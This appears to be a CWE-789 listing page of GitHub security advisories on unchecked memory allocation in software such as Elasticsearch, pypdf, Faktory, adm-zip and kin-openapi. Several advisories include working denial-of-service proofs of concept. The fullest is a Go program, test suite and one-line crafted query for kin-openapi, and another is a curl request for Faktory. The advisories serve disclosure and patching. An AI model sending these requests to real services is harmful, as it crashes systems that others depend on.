CWE-789
AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
402 vulnerabilities reference this CWE, most recent first.
GHSA-WR2R-M36X-734X
Vulnerability from github – Published: 2026-08-05 06:30 – Updated: 2026-08-06 15:32A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service.
This issue affects Apache Qpid Proton-J: through 0.34.1.
Users are recommended to upgrade to version 0.35.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-66273"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T06:16:38Z",
"severity": "HIGH"
},
"details": "A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service.\n\nThis issue affects Apache Qpid Proton-J: through 0.34.1.\n\nUsers are recommended to upgrade to version 0.35.0, which fixes the issue.",
"id": "GHSA-wr2r-m36x-734x",
"modified": "2026-08-06T15:32:32Z",
"published": "2026-08-05T06:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66273"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/z34s9v5w05qk4qqtz5fs3v9wpxz6fnbh"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/04/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WV4V-8JH9-247V
Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36Elasticsearch does not validate a size value taken from a user-supplied input before that value is used to reserve memory for an internal data structure. An authenticated user holding only read privileges can submit a single small crafted request to a product API endpoint that causes the node to attempt an excessively large allocation. The resulting memory exhaustion raises a fatal error that terminates the Elasticsearch node process, causing a denial of service for the affected node and degrading cluster health. The defect is not volumetric, so a single request is sufficient regardless of the heap size configured on the target node.
{
"affected": [],
"aliases": [
"CVE-2026-72678"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T20:17:28Z",
"severity": "MODERATE"
},
"details": "Elasticsearch does not validate a size value taken from a user-supplied input before that value is used to reserve memory for an internal data structure. An authenticated user holding only read privileges can submit a single small crafted request to a product API endpoint that causes the node to attempt an excessively large allocation. The resulting memory exhaustion raises a fatal error that terminates the Elasticsearch node process, causing a denial of service for the affected node and degrading cluster health. The defect is not volumetric, so a single request is sufficient regardless of the heap size configured on the target node.",
"id": "GHSA-wv4v-8jh9-247v",
"modified": "2026-08-13T21:36:10Z",
"published": "2026-08-13T21:36:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72678"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elasticsearch-8-19-20-9-4-5-9-5-1-security-update-esa-2026-80/389507"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X284-J5P8-9C5P
Vulnerability from github – Published: 2026-04-16 21:30 – Updated: 2026-05-05 15:44Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using /FlateDecode with large size values.
Patches
This has been fixed in pypdf==6.10.2.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3734.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41314"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:30:25Z",
"nvd_published_at": "2026-04-22T22:16:32Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values.\n\n### Patches\nThis has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).",
"id": "GHSA-x284-j5p8-9c5p",
"modified": "2026-05-05T15:44:27Z",
"published": "2026-04-16T21:30:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-x284-j5p8-9c5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41314"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3734"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/ac734dab4eef92bcce50d503949b4d9887d89f11"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.10.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf: Manipulated FlateDecode image dimensions can exhaust RAM"
}
GHSA-X4HH-VJM7-G2JV
Vulnerability from github – Published: 2023-09-20 22:51 – Updated: 2023-09-20 22:51Summary
Faktory web dashboard can suffer from denial of service by a crafted malicious url query param days.
Details
The vulnerability is related to how the backend reads the days URL query parameter in the Faktory web dashboard. The value is used directly without any checks to create a string slice. If a very large value is provided, the backend server ends up using a significant amount of memory and causing it to crash.
PoC
To reproduce this vulnerability, please follow these steps:
Start the Faktory Docker and limit memory usage to 512 megabytes for better demonstration:
$ docker run --rm -it -m 512m \
-p 127.0.0.1:7419:7419 \
-p 127.0.0.1:7420:7420 \
contribsys/faktory:latest
Send the following request. The Faktory server will exit after a few seconds due to out of memory:
$ curl 'http://localhost:7420/?days=922337'
Impact
Server Availability: The vulnerability can crash the Faktory server, affecting its availability. Denial of Service Risk: Given that the Faktory web dashboard does not require authorization, any entity with internet access to the dashboard could potentially exploit this vulnerability. This unchecked access opens up the potential for a Denial of Service (DoS) attack, which could disrupt service availability without any conditional barriers to the attacker.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/contribsys/faktory"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37279"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-20T22:51:09Z",
"nvd_published_at": "2023-09-20T22:15:13Z",
"severity": "HIGH"
},
"details": "### Summary\nFaktory web dashboard can suffer from denial of service by a crafted malicious url query param `days`.\n\n### Details\nThe vulnerability is related to how the backend reads the `days` URL query parameter in the Faktory web dashboard. The value is used directly without any checks to create a string slice. If a very large value is provided, the backend server ends up using a significant amount of memory and causing it to crash.\n\n### PoC\nTo reproduce this vulnerability, please follow these steps:\n\nStart the Faktory Docker and limit memory usage to 512 megabytes for better demonstration:\n```\n$ docker run --rm -it -m 512m \\\n -p 127.0.0.1:7419:7419 \\\n -p 127.0.0.1:7420:7420 \\\n contribsys/faktory:latest\n``` \n\nSend the following request. The Faktory server will exit after a few seconds due to out of memory:\n\n```\n$ curl \u0027http://localhost:7420/?days=922337\u0027\n```\n\n### Impact\n**Server Availability**: The vulnerability can crash the Faktory server, affecting its availability.\n**Denial of Service Risk**: Given that the Faktory web dashboard does not require authorization, any entity with internet access to the dashboard could potentially exploit this vulnerability. This unchecked access opens up the potential for a Denial of Service (DoS) attack, which could disrupt service availability without any conditional barriers to the attacker. \n",
"id": "GHSA-x4hh-vjm7-g2jv",
"modified": "2023-09-20T22:51:09Z",
"published": "2023-09-20T22:51:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/contribsys/faktory/security/advisories/GHSA-x4hh-vjm7-g2jv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37279"
},
{
"type": "PACKAGE",
"url": "https://github.com/contribsys/faktory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Faktory Web Dashboard can lead to denial of service(DOS) via malicious user input"
}
GHSA-X8WM-PQ66-9PP3
Vulnerability from github – Published: 2025-06-11 15:30 – Updated: 2025-08-19 15:31A maliciously crafted .usdc file, when loaded through Autodesk Maya, can force an uncontrolled memory allocation vulnerability. A malicious actor may leverage this vulnerability to cause a denial-of-service (DoS), or cause data corruption.
{
"affected": [],
"aliases": [
"CVE-2025-4605"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-11T14:15:36Z",
"severity": "MODERATE"
},
"details": "A maliciously crafted .usdc file, when loaded through Autodesk Maya, can force an uncontrolled memory allocation vulnerability. A malicious actor may leverage this vulnerability to cause a denial-of-service (DoS), or cause data corruption.",
"id": "GHSA-x8wm-pq66-9pp3",
"modified": "2025-08-19T15:31:24Z",
"published": "2025-06-11T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4605"
},
{
"type": "WEB",
"url": "https://github.com/Autodesk/3dsmax-usd"
},
{
"type": "WEB",
"url": "https://github.com/Autodesk/maya-usd"
},
{
"type": "WEB",
"url": "https://www.autodesk.com/products/autodesk-access/overview"
},
{
"type": "WEB",
"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X9HX-HWFF-3M7W
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30Nord VPN 6.14.31 contains a denial of service vulnerability that allows unauthenticated attackers to crash the application by submitting an excessively long string in the password field. Attackers can paste a buffer of repeated characters into the password input field to trigger an application crash when attempting to authenticate.
{
"affected": [],
"aliases": [
"CVE-2018-25368"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-25T15:16:19Z",
"severity": "HIGH"
},
"details": "Nord VPN 6.14.31 contains a denial of service vulnerability that allows unauthenticated attackers to crash the application by submitting an excessively long string in the password field. Attackers can paste a buffer of repeated characters into the password input field to trigger an application crash when attempting to authenticate.",
"id": "GHSA-x9hx-hwff-3m7w",
"modified": "2026-05-26T13:30:44Z",
"published": "2026-05-26T13:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25368"
},
{
"type": "WEB",
"url": "https://nordvpn.com/download"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45304"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nord-vpn-denial-of-service-via-password-field"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XCPC-8H2W-3J85
Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-17 21:50adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "adm-zip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39244"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T21:50:08Z",
"nvd_published_at": "2026-07-10T17:16:57Z",
"severity": "HIGH"
},
"details": "adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.",
"id": "GHSA-xcpc-8h2w-3j85",
"modified": "2026-07-17T21:50:08Z",
"published": "2026-07-10T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39244"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/issues/568"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/commit/2450dcf417aa29df49270237d18c5245794da3e2"
},
{
"type": "PACKAGE",
"url": "https://github.com/cthackers/adm-zip"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "adm-zip: Crafted ZIP file triggers 4GB memory allocation"
}
GHSA-XHJ3-7XW9-VR34
Vulnerability from github – Published: 2026-08-21 20:56 – Updated: 2026-08-21 20:56Summary
An uncontrolled resource consumption vulnerability in openapi3filter lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a deepObject-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the largest attacker-supplied index and allocating one slot for every position from 0 up to that index — before schema validation (including maxItems) ever runs. A request as small as 24 bytes (?param[items][50000000]=x) drives heap allocation to ~6.1 GiB, reliably triggering an OOM kill / restart loop on memory-constrained services.
Details
The OpenAPI style: deepObject serialization lets clients express arrays in the query string using bracket notation, e.g. param[items][0]=a¶m[items][1]=b. The decoder first collects these into an intermediate map[string]any keyed by the string of the index, then converts that sparse map into a real []any in sliceMapToSlice:
// req_resp_decoder.go (vulnerable version)
func sliceMapToSlice(m map[string]any) ([]any, error) {
var result []any
keys := make([]int, 0, len(m))
for k := range m {
key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled
if err != nil {
return nil, fmt.Errorf("array indexes must be integers: %w", err)
}
keys = append(keys, key)
}
max := -1
for _, k := range keys {
if k > max {
max = k // max = attacker's index, unbounded
}
}
for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max
val, ok := m[strconv.Itoa(i)]
if !ok {
result = append(result, nil) // fills every sparse hole with nil
continue
}
result = append(result, val)
}
return result, nil
}
A second, equally-sized allocation follows immediately in buildResObj:
resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1
for i := range arr {
r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)
...
}
So a single attacker-chosen integer N produces an append-grown []any of length N+1, a second make([]any, N+1), and N+1 recursion steps — with no upper bound other than strconv.Atoi's int range (~9.2×10¹⁸ on 64-bit) and available memory.
Why maxItems does not help. maxItems is enforced by schema validation, which runs strictly after parameter decoding completes. sliceMapToSlice/buildResObj fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the maxItems violation, proving the allocation happened before it could be prevented.
Why this is deepObject-specific. Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: application/json bodies build arrays element-by-element from the literal (no "index" concept to inflate); x-www-form-urlencoded and multipart/form-data arrays are sized by the number of repeated fields actually sent; and the other makeObject call sites (path/simple, header/simple, cookie/form, at :479, :777, :841) build their intermediate map via propsFromString, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject propsFn (:661-687) synthesizes the bracketed integer keys that reach sliceMapToSlice with an attacker-controlled magnitude.
Preconditions. The target spec needs a query parameter with in: query, style: deepObject (typically explode: true), and a schema whose graph contains at least one type: array. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any maxItems constraint on the array.
Introduced in. sliceMapToSlice, including the unbounded 0..max fill loop, was added whole-cloth in commit 78bb273 ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in v0.124.0. Every tagged release from v0.124.0 through the current v0.141.0 / master (1d0a337) contains the vulnerable code path.
PoC
Verified against revision 1d0a337c9b1570fab283be8a04c8af6e43b9a22c (v0.141.0, current master at the time of writing), Go 1.25.0, darwin/arm64.
1. Spec — one operation accepting a deepObject query parameter whose items property is an array (maxItems: 3 is declared deliberately, to prove it does not help):
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
2. Program — build a request with a single huge array index and measure heap allocation across the same public entry point (gorillamux router → openapi3filter.ValidateRequest) any real HTTP server uses:
package main
import (
"context"
"fmt"
"net/http"
"runtime"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, _ := loader.LoadFromData([]byte(spec))
_ = doc.Validate(loader.Context)
router, _ := gorillamux.NewRouter(doc)
// Attacker-controlled index. A 24-byte query string is enough to force
// materialization of a 50-million-element slice.
const rawQuery = "param[items][50000000]=x"
r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil)
route, pp, _ := router.FindRoute(r)
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
runtime.ReadMemStats(&after)
fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery))
fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))
fmt.Printf("ValidateRequest error: %v\n", err)
}
3. Observed output (go run ., unpatched tree, re-verified in this pass):
query string: "param[items][50000000]=x" (24 bytes)
heap allocated during ValidateRequest: 6231.1 MiB
ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3
A 24-byte query string drove ~6.1 GiB of heap allocation in a single call, and the returned error is the maxItems rejection — proof that the array was fully materialized before validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):
| Query string | Wire size | Heap allocated | Amplification |
|---|---|---|---|
param[items][10000]=x |
21 B | 0.9 MiB | ~44,000× |
param[items][100000]=x |
22 B | 11.1 MiB | ~529,000× |
param[items][1000000]=x |
23 B | 114 MiB | ~5,200,000× |
param[items][5000000]=x |
23 B | 555 MiB | ~25,300,000× |
param[items][50000000]=x |
24 B | 6.1 GiB | ~272,000,000× |
Attack request (nothing else required — no body, no auth, no unusual headers):
GET /whatever?param[items][50000000]=x HTTP/1.1
Host: victim
Control (confirms only deepObject is a vector): repeating the equivalent "large array" attempt against application/json, application/x-www-form-urlencoded, multipart/form-data bodies, and non-deepObject path/header/cookie styles stays under ~27 KiB in every case.
4. Regression/scaling test suite — a broader harness driving the same public entry point, adding the ordering proof (TestC02_AllocationBeforeValidation), the nested-index amplifier, and the cross-encoding controls referenced above. Save as openapi3filter/zzz_c02_verify_test.go and run with C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v (unset C02_BIG to skip the two largest, slower indexes):
package openapi3filter_test
import (
"bytes"
"fmt"
"mime/multipart"
"net/http"
"net/url"
"os"
"runtime"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
// measureAlloc runs fn and reports the number of bytes of heap it caused to be
// allocated (TotalAlloc delta), which counts even memory that was already freed
// by the time fn returned. This captures transient allocation spikes.
func measureAlloc(fn func()) uint64 {
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
fn()
runtime.ReadMemStats(&after)
return after.TotalAlloc - before.TotalAlloc
}
const c02Spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
`
func c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {
t.Helper()
loader := openapi3.NewLoader()
ctx := loader.Context
doc, err := loader.LoadFromData([]byte(c02Spec))
require.NoError(t, err)
require.NoError(t, doc.Validate(ctx))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
validate := func(rawquery string) error {
req, err := http.NewRequest(http.MethodGet, "/q?"+rawquery, nil)
require.NoError(t, err)
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
return openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
Request: req,
PathParams: pathParams,
Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}
return doc, validate
}
// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single
// tiny deepObject query with a large array index.
func TestC02_Reproduce_MemoryExhaustion(t *testing.T) {
_, validate := c02Router(t)
base := measureAlloc(func() {
_ = validate("param[items][0]=a¶m[items][1]=b¶m[items][2]=c")
})
t.Logf("baseline (3 legit items): %s allocated", humanBytes(base))
indexes := []int{10_000, 100_000, 1_000_000}
if os.Getenv("C02_BIG") == "1" {
indexes = append(indexes, 5_000_000, 50_000_000)
}
const fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this
worst := uint64(0)
for _, idx := range indexes {
q := fmt.Sprintf("param[items][%d]=x", idx)
alloc := measureAlloc(func() {
err := validate(q)
require.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)
})
if alloc > worst {
worst = alloc
}
ratio := float64(alloc) / float64(len(q))
t.Logf("index=%-10d query=%dB -> %s allocated (%.0fx over the query size)",
idx, len(q), humanBytes(alloc), ratio)
}
require.Less(t, worst, uint64(fixThreshold),
"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high",
humanBytes(worst))
}
// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable
// tree the huge allocation happened even though maxItems:3 is declared, proving
// materialization precedes schema validation.
func TestC02_AllocationBeforeValidation(t *testing.T) {
_, validate := c02Router(t)
const idx = 2_000_000
q := fmt.Sprintf("param[items][%d]=x", idx)
var gotErr error
alloc := measureAlloc(func() {
gotErr = validate(q)
})
require.Error(t, gotErr)
t.Logf("index=%d (query %d bytes) allocated %s; error: %v",
idx, len(q), humanBytes(alloc), gotErr)
// On the vulnerable tree this value was ~225 MiB and this assertion fails,
// flagging the regression. On the fixed tree it stays well under 32 MiB.
require.Less(t, alloc, uint64(32<<20),
"C-02 REGRESSION: index %d allocated %s before rejection", idx, humanBytes(alloc))
}
// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and
// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent
// "large index" payload in those encodings does not explode.
func TestC02_OnlyDeepObjectAffected(t *testing.T) {
spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/b:
post:
requestBody:
content:
application/json:
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
application/x-www-form-urlencoded:
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
multipart/form-data:
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
responses:
'200': {description: ok}
`
loader := openapi3.NewLoader()
ctx := loader.Context
doc, err := loader.LoadFromData([]byte(spec))
require.NoError(t, err)
require.NoError(t, doc.Validate(ctx))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
do := func(ct, body string) (error, uint64) {
var e error
alloc := measureAlloc(func() {
req, _ := http.NewRequest(http.MethodPost, "/b", strings.NewReader(body))
req.Header.Set("Content-Type", ct)
route, pathParams, rerr := router.FindRoute(req)
require.NoError(t, rerr)
e = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
return e, alloc
}
_, jsonAlloc := do("application/json", `{"items":["a","b","c","d"]}`)
t.Logf("JSON 4-elem array: %s", humanBytes(jsonAlloc))
require.Less(t, jsonAlloc, uint64(4<<20), "JSON path must not balloon")
form := url.Values{}
form.Set("items", "a")
form.Add("items", "b")
_, formAlloc := do("application/x-www-form-urlencoded", form.Encode())
t.Logf("urlencoded repeated field: %s", humanBytes(formAlloc))
require.Less(t, formAlloc, uint64(4<<20), "urlencoded path must not balloon")
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
require.NoError(t, w.WriteField("items", "a"))
require.NoError(t, w.WriteField("items", "b"))
require.NoError(t, w.Close())
_, mpAlloc := do(w.FormDataContentType(), buf.String())
t.Logf("multipart fields: %s", humanBytes(mpAlloc))
require.Less(t, mpAlloc, uint64(4<<20), "multipart path must not balloon")
}
// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points
// (path/simple, header/simple, cookie/form). These build props via
// propsFromString, whose keys are property names, not bracketed integer
// indexes -- so a big number lands as a string key that fails strconv.Atoi
// cleanly, without materializing a giant slice.
func TestC02_NonDeepObjectStylesSafe(t *testing.T) {
spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/p/{param}:
get:
parameters:
- name: param
in: path
required: true
style: simple
explode: false
schema:
type: object
properties:
items: {type: array, maxItems: 3, items: {type: string}}
responses:
'200': {description: ok}
`
loader := openapi3.NewLoader()
ctx := loader.Context
doc, err := loader.LoadFromData([]byte(spec))
require.NoError(t, err)
require.NoError(t, doc.Validate(ctx))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
alloc := measureAlloc(func() {
req, _ := http.NewRequest(http.MethodGet, "/p/items,5000000", nil)
route, pathParams, rerr := router.FindRoute(req)
require.NoError(t, rerr)
_ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
t.Logf("path/simple object with big scalar: %s", humanBytes(alloc))
require.Less(t, alloc, uint64(4<<20), "path/simple must not balloon")
}
func humanBytes(b uint64) string {
const unit = 1024
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := uint64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %ciB", float64(b)/float64(div), "KMGTPE"[exp])
}
Observed output re-run in this pass (C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v):
- Unpatched tree (fix reverted via
git stash push -- openapi3filter/req_resp_decoder.go):TestC02_Reproduce_MemoryExhaustionreproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), andTestC02_AllocationBeforeValidationmeasured 225.2 MiB allocated forindex=2,000,000before themaxItemsrejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected. - Patched tree (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and
TestC02_OnlyDeepObjectAffected/TestC02_NonDeepObjectStylesSafeconfirm the other encodings and parameter styles were never affected.
Impact
- Type: Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → unauthenticated remote denial of service.
- Who is impacted: any application using
